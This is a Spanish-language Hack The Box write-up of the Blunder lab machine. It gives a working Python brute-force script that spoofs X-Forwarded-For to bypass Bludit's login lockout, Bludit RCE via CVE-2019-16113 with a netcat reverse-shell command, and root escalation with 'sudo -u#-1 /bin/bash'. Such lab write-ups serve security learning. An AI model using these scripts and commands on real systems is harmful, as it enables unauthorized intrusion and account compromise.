Maquina Blunder - htb writeup

Firtmiracle el
Maquina Blunder - htb writeup

Hoy vamos a resolver la máquina Blunder de la plataforma de hackthebox correspondiente a una maquina linux dificultad facil, la cual explotaremos obteniendo información lekeada y obteniendo credenciales a partir de un ataque de fuerza bruta usando una tecnica de bypass, una vez dispongamos de las credenciales podremos vulnerar el gestor BLUDIT CMS que corre la maquina, donde a traves de RCE ganaremos acceso a la maquina y finalmente para escalar privilegios aprovecharemos de una versión vulnerable de sudo con la que conseguiremos acceso como el usuario root.

Maquina interesante asi que a darle!

Vamos a comenzar creando un directorio con el nombre de la maquina:

❯ mkdir Blunder
❯ ls
 Blunder

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

Enumeración #

Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.191
PING 10.10.10.191 (10.10.10.191) 56(84) bytes of data.
64 bytes from 10.10.10.191: icmp_seq=1 ttl=63 time=265 ms

--- 10.10.10.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 265.087/265.087/265.087/0.000 ms

Vemos que la maquina nos responde, con un ttl de 63correspondiente a una maquina linux, ahora procederemos a el escaneo de puertos con la ayuda de nmap:

Escaneo de Puertos

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.191 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-14 18:55 GMT
Initiating SYN Stealth Scan at 18:55
Scanning 10.10.10.191 [65535 ports]
Discovered open port 80/tcp on 10.10.10.191
Completed SYN Stealth Scan at 18:55, 26.57s elapsed (65535 total ports)
Nmap scan report for 10.10.10.191
Host is up, received user-set (0.13s latency).
Scanned at 2023-06-14 18:55:12 GMT for 26s
Not shown: 65533 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.70 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 21 (920B)

Solamente vemos que se encuentra abierto el puerto 80 http.

Escaneo de Version y Servicios.

❯ nmap -sCV -p80 10.10.10.191 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-14 19:00 GMT
Nmap scan report for 10.10.10.191
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
|_http-generator: Blunder

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.64 seconds

Visulizamos informacion interesante de los puertos escaneados:

Puerto Servicio Versión
80 HTTP Apache httpd 2.4.41

Explotación #

Comenzaremos usando whatweb, para enumerar las tecnologias que emplea el servicio web, desde consola.

❯ whatweb http://10.10.10.191
http://10.10.10.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.191], JQuery, MetaGenerator[Blunder], Script, Title[Blunder | A blunder of interesting facts], X-Powered-By[Bludit]

La herramienta nos reporta que se el gestor de contenido del servicio web corresponde a un bludit CMS.

Bludit: Bludit es una aplicación web para construir tu propio sitio web o blog en segundos, es completamente gratis y de código abierto

Seguidmente vamos abrir la web en el navegador.

Observamos que a simple vista la pagina no muestra contenido interesante. Por ello intentaremos enumerar rutas expuestas del servicio con la herramienta wfuzz.

❯ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.191/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000026:   200        105 L    303 W      3280 Ch     "about"                                                                                                               
000000259:   301        0 L      0 W        0 Ch        "admin"                                                                                                               
000000124:   200        170 L    918 W      7561 Ch     "0"                                                                                                                   
000002551:   200        110 L    387 W      3959 Ch     "usb"                                                                                                                 
000003295:   200        21 L     171 W      1083 Ch     "LICENSE"      

Despues de unos instantes wfuzz nos reporta rutas validas, en las cuales podemos ver una de admin y si vamos a esa ruta nos redirige a un panel de inicio de sesión.

Ahora vamos a tratar de validar si existe una ruta robots.txt

Vemos que efectivamente existe, ahora haciendo un poco de guesing quiero pensar que existen otros archivo con la extensión .txt en las rutas, asi que nuevamente con wfuzz vamos a validar si existen.

❯ wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ.txt
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.191/FUZZ.txt
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000001765:   200        1 L      4 W        22 Ch       "robots"                                                                                                              
000002495:   200        4 L      23 W       118 Ch      "todo"

Podemos ver que ademas del robots.txt, existe un archivo todo.txt y si lo visualizamos en el navegador obtenemos un usuario fergus.

Ahora volvamos a el panel de logeo y interceptemos la petición que se realiza con la ayuda de burpsuite y el foxyproxy.

Nos abrimos burpsuite y vemos como se transmite la petición.

Vemos que se envia una petición POST con algunos parametros, incluidos un Token CSRF.

Ahora ya que disponemos de un usuario valido podriamos tratar de mediante un ataque de fuerza bruta obtener la contrasena, pero para ello necesitamos usar un diccionario de contraseñas.

Anterirmente vimos que la pagina web contenia bastante texto, por que podriamos tratar e hacer un diccionario con las palabras usadas, para ello usaremos la herramienta cewl y al pasarle la ip de la web podemos crearnos un diccionario en base a sus palabras y lo exportaremos en un fichero de nombre dictionary.txt.

❯ cewl -w dictionary.txt http://10.10.10.191
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
❯ ls
 dictionary.txt

AHora que disponemos de un usuario valido fergus y de un diccionario de posibles contraseñas dictionary.txt, podemos crearnos un script en python para automatizar el proceso de fuerza bruta y averiguar la contraseña valida.

Llamaremos a nuestro exploit bludit.py.

#!/usr/bin/python3


from pwn import *
import requests, re


def def_handler(sig, frame):
    print("\n[!]Saliendo...!\n")
    sys.exit(1)

#ctrl_c
signal.signal(signal.SIGINT, def_handler)
#variables_globales
main_url = "http://10.10.10.191/admin/"


def makeRequests():

    s = requests.session()

    passwords = open("dictionary.txt", 'r')

    p1 = log.progress("Fuerza Bruta")
    p1.status("Iniciando proceso de Fuerza Bruta")
    time.sleep(2)

    counter = 1

    for password in passwords.readlines():
        
        password = password.strip('\n')
       
        p1.status("Probando con la password [%d/349]: %s" % (counter, password))

        r = s.get(main_url)

        tokenCSRF = re.findall(r'name="tokenCSRF" value="(.*?)"', r.text)[0]

        post_data = {
                "tokenCSRF": tokenCSRF,
                "username": "fergus",
                "password": password,
                "save": ''
        }


        r = s.post(main_url, data=post_data)
        counter += 1

        if "Username or password incorrect" not in r.text:
            p1.success("La contraseña es %s" % password)
            sys.exit(0)

if __name__=='__main__':

    makeRequests()

Ejecutamos el exploit y despues de unos segundos nos valida que la contraseña es: King

❯ python3 prueba.py
[+] Fuerza Bruta: La contraseña es King

Probamos a logearnos en el servicio y vemos que las credenciales son incorrectas, ademas vemos un mensaje que nos dice que nuestra ip fue bloqueada.

Investigando un poco vemos que existe una forma de bypasear el uso de fuerza bruta en Bludit, atraves de la cabezera X-Forwarded-For.

Modificamos nuestro exploit y añadismos la cabezera X-Forwarded-For, con el valor de nuestra variable password, aprovechando que este por cada iteración sera aleatorio,

#!/usr/bin/python3

from pwn import *
import requests, re


def def_handler(sig, frame):
    print("\n[!]Saliendo...!\n")
    sys.exit(1)

#ctrl_c
signal.signal(signal.SIGINT, def_handler)
#variables_globales
main_url = "http://10.10.10.191/admin/"


def makeRequests():

    s = requests.session()

    passwords = open("dictionary.txt", 'r')

    p1 = log.progress("Fuerza Bruta")
    p1.status("Iniciando proceso de Fuerza Bruta")
    time.sleep(2)

    counter = 1
    for password in passwords.readlines():
        
        password = password.strip('\n')
        
        p1.status("Probando con la paassword [%d / 349] %s" % (counter, password))

        r = s.get(main_url)

        tokenCSRF = re.findall(r'name="tokenCSRF" value="(.*?)"', r.text)[0]

        post_data = {
                "tokenCSRF": tokenCSRF,
                "username": "fergus",
                "password": password,
                "save": ''
        }

        myHeaders = {
            'X-Forwarded-For': password
        }

        r = s.post(main_url, data=post_data, headers=myHeaders)
        counter += 1

        if "Username or password incorrect" not in r.text:
            p1.success("La contraseña es %s" % password)
            sys.exit(0)

if __name__=='__main__':

    makeRequests()

Despues de unos instantes logramos obtener la contraseña del usuario fergus:RolandDeschain.

❯ python3 bludit.py
[.] Fuerza Bruta: Probando con la password the
[+] Fuerza Bruta: La contraseña es RolandDeschain

Validamos la contraseña en la pagina de logeo y ganamos acceso a un panel de dashboard.

Si ahora buscamos vulnerabilidades asociadas a bludit, encontramos un exploit en python asociado Directory Traversal que deriva en ejecución remota de comandos.

❯ searchsploit bludit
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                       |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit)                                                                                          | php/remote/47699.rb
Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)                                                                                                | php/webapps/50529.txt
Bludit 3.9.12 - Directory Traversal                                                                                                                  | php/webapps/48568.py
Bludit 3.9.2 - Auth Bruteforce Bypass                                                                                                                | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)                                                                                         | php/webapps/49037.rb
Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass                                                                                           | php/webapps/48746.rb
Bludit 3.9.2 - Directory Traversal                                                                                                                   | multiple/webapps/48701.txt
bludit Pages Editor 3.0.0 - Arbitrary File Upload                                                                                                    | php/webapps/46060.txt
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Nos traemos el exploit y al ejecutarlo nos pide algunos parametros

❯ searchsploit -m php/webapps/48568.py
  Exploit: Bludit 3.9.12 - Directory Traversal
      URL: https://www.exploit-db.com/exploits/48568
     Path: /usr/share/exploitdb/exploits/php/webapps/48568.py
File Type: Python script, ASCII text executable, with very long lines

Copied to: /home/fmiracle/Git/firtsmiracle.github.io/assets/images/HTB/htb-writeup-Blunder/48568.py
❯ mv 48568.py exploit_bludit.py
❯ python3 exploit_bludit.py


╔╗ ┬  ┬ ┬┌┬┐┬┌┬┐  ╔═╗╦ ╦╔╗╔
╠╩╗│  │ │ │││ │   ╠═╝║║║║║║
╚═╝┴─┘└─┘─┴┘┴ ┴   ╩  ╚╩╝╝╚╝

 CVE-2019-16113 CyberVaca


usage: exploit_bludit.py [-h] -u URL -user USER -pass PASSWORD -c COMMAND
exploit_bludit.py: error: the following arguments are required: -u, -user, -pass, -c

Ejecutamos el exploit con los parametros correspondientes y con -c especificamos el comandos que deseamos ejecutar, para ello probaremos enviarnos una traza a nuestra maquina.

❯ python3 exploit_bludit.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'ping 10.10.16.4'


╔╗ ┬  ┬ ┬┌┬┐┬┌┬┐  ╔═╗╦ ╦╔╗╔
╠╩╗│  │ │ │││ │   ╠═╝║║║║║║
╚═╝┴─┘└─┘─┴┘┴ ┴   ╩  ╚╩╝╝╚╝

 CVE-2019-16113 CyberVaca


[+] csrf_token: 56c6bb6a8ba8cb234b81e3fc60794fa537f591c6
[+] cookie: tg456638i906rknr4n27it5kr3
[+] csrf_token: 0208621fe6b05f215d6f16a7675200b78af3cd2b
[+] Uploading tdbdwfqf.jpg
[+] Executing command: ping 10.10.16.4
[+] Delete: .htaccess
[+] Delete: tdbdwfqf.jpg

y vemos que recibimos la traza en nuestro equipo.

❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:48:34.774870 IP 10.10.10.191 > 10.10.16.4: ICMP echo request, id 4083, seq 1, length 64
20:48:34.774896 IP 10.10.16.4 > 10.10.10.191: ICMP echo reply, id 4083, seq 1, length 64
20:48:35.702537 IP 10.10.10.191 > 10.10.16.4: ICMP echo request, id 4083, seq 2, length 64
20:48:35.702583 IP 10.10.16.4 > 10.10.10.191: ICMP echo reply, id 4083, seq 2, length 64
20:48:36.774871 IP 10.10.10.191 > 10.10.16.4: ICMP echo request, id 4083, seq 3, length 64
20:48:36.774913 IP 10.10.16.4 > 10.10.10.191: ICMP echo reply, id 4083, seq 3, length 64
20:48:37.615149 IP 10.10.10.191 > 10.10.16.4: ICMP echo request, id 4083, seq 4, length 64
20:48:37.615194 IP 10.10.16.4 > 10.10.10.191: ICMP echo reply, id 4083, seq 4, length 64

Lo siguiente sera mandaremos una reverse shell con la versión antigua de ntcat haciendo uso de mkfifo a nuestra maquina.

❯ python3 exploit_bludit.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 443 >/tmp/f'


╔╗ ┬  ┬ ┬┌┬┐┬┌┬┐  ╔═╗╦ ╦╔╗╔
╠╩╗│  │ │ │││ │   ╠═╝║║║║║║
╚═╝┴─┘└─┘─┴┘┴ ┴   ╩  ╚╩╝╝╚╝

 CVE-2019-16113 CyberVaca


[+] csrf_token: cc25e735f2604125be5c2142412dbe2253a33fea
[+] cookie: a8c95lrdmos65m0545e9fflgh4
[+] csrf_token: 0f6fc1b9b0455869059adf72375ddcb9cef563bb
[+] Uploading rubnxlev.jpg
[+] Executing command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 443 >/tmp/f
[+] Delete: .htaccess
[+] Delete: rubnxlev.jpg

Y obtenemos acceso como el usuario www-data

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.191.
Ncat: Connection from 10.10.10.191:47166.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Como de constumbre vamos a otorgarnos una tty full interactive.

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ^Z
zsh: suspended  ncat -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  ncat -nlvp 443
                                reset xterm
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ export TERM=xterm
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ export SHELL=bash
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ stty rows 45 columns 184

Enumerando el sistema dentro en el directorio bludit-3-10-0a, encontramos el archivo users.php con un password en hash que podemos tratar de crackear.

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php 
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

Para ello usaremos nuestro web de confianza y logramos decifrar la contraseña la cual es Password120

Con la nueva credencial migramos exitosamente como el usuario hugo, nos dirigimos a su directorio personal y visualizamos la primera flag user.txt.

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
Password: 
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ whoami
hugo
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd /home/hugo/
hugo@blunder:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
hugo@blunder:~$ cat user.txt 
0ad6d2d9c835f7f10ba8518d29dedc4b

Escalada de Privilegios #

Enumerando los privilegios a nivel de sudoers, vemos que el usario hugo, puede ejecutar una bash como cualquier usuario a exepción de root. Aprovechando esto podemos migrar al usuario shaun.

hugo@blunder:~$ sudo -u shaun bash
shaun@blunder:/home/hugo$ whoami
shaun
shaun@blunder:/home/hugo$ id
uid=1000(shaun) gid=1000(shaun) groups=1000(shaun),4(adm),24(cdrom),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare)

Vemos que el usuario shaun,se encuntra en el grupo lxd, asi que podriamos aprovecharnos de eso para convertirnos en root, pero en esta ocasión vamos a realizarlo de otra manera ya que si vemos la version de sudo que se esta empleando corresponde a una vulnerable.

shaun@blunder:/home/hugo$ sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

Buscando un exploit publico encontramos uno referente a security bypass y para versiones menores a la 1.8.27, al ser esta una versión menor podemos usar este exploit.

❯ searchsploit sudo 1.8.
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                       |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation                                                               | linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String                                                                                                                 | linux/dos/18436.txt
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation                                                                     | linux/local/37710.txt
Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation                                                                                     | linux/local/42183.c
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow                                                                                                          | linux/local/48052.sh
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)                                                                                                    | linux/dos/47995.txt
sudo 1.8.27 - Security Bypass                                                                                                                        | linux/local/47502.py
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Revisamos el codigo del exploit y vemos que solo tenemos que ejecutar la siguiente instrucción sudo -u#-1 /bin/bash, pero debemos hacerlo como el usuario hugo ya que este tenia el privilegio a nivel de sudoers.

Una vez ya como el ususario root nos dirigimos a su directorio personal y visualizamos la segunda flag root.txt.

hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# whoami
root
root@blunder:/home/hugo# cd /root
root@blunder:/root# cat root.txt 
dd6d458838b1d2c778b789eeb79ab063

Comments

comments powered by Disqus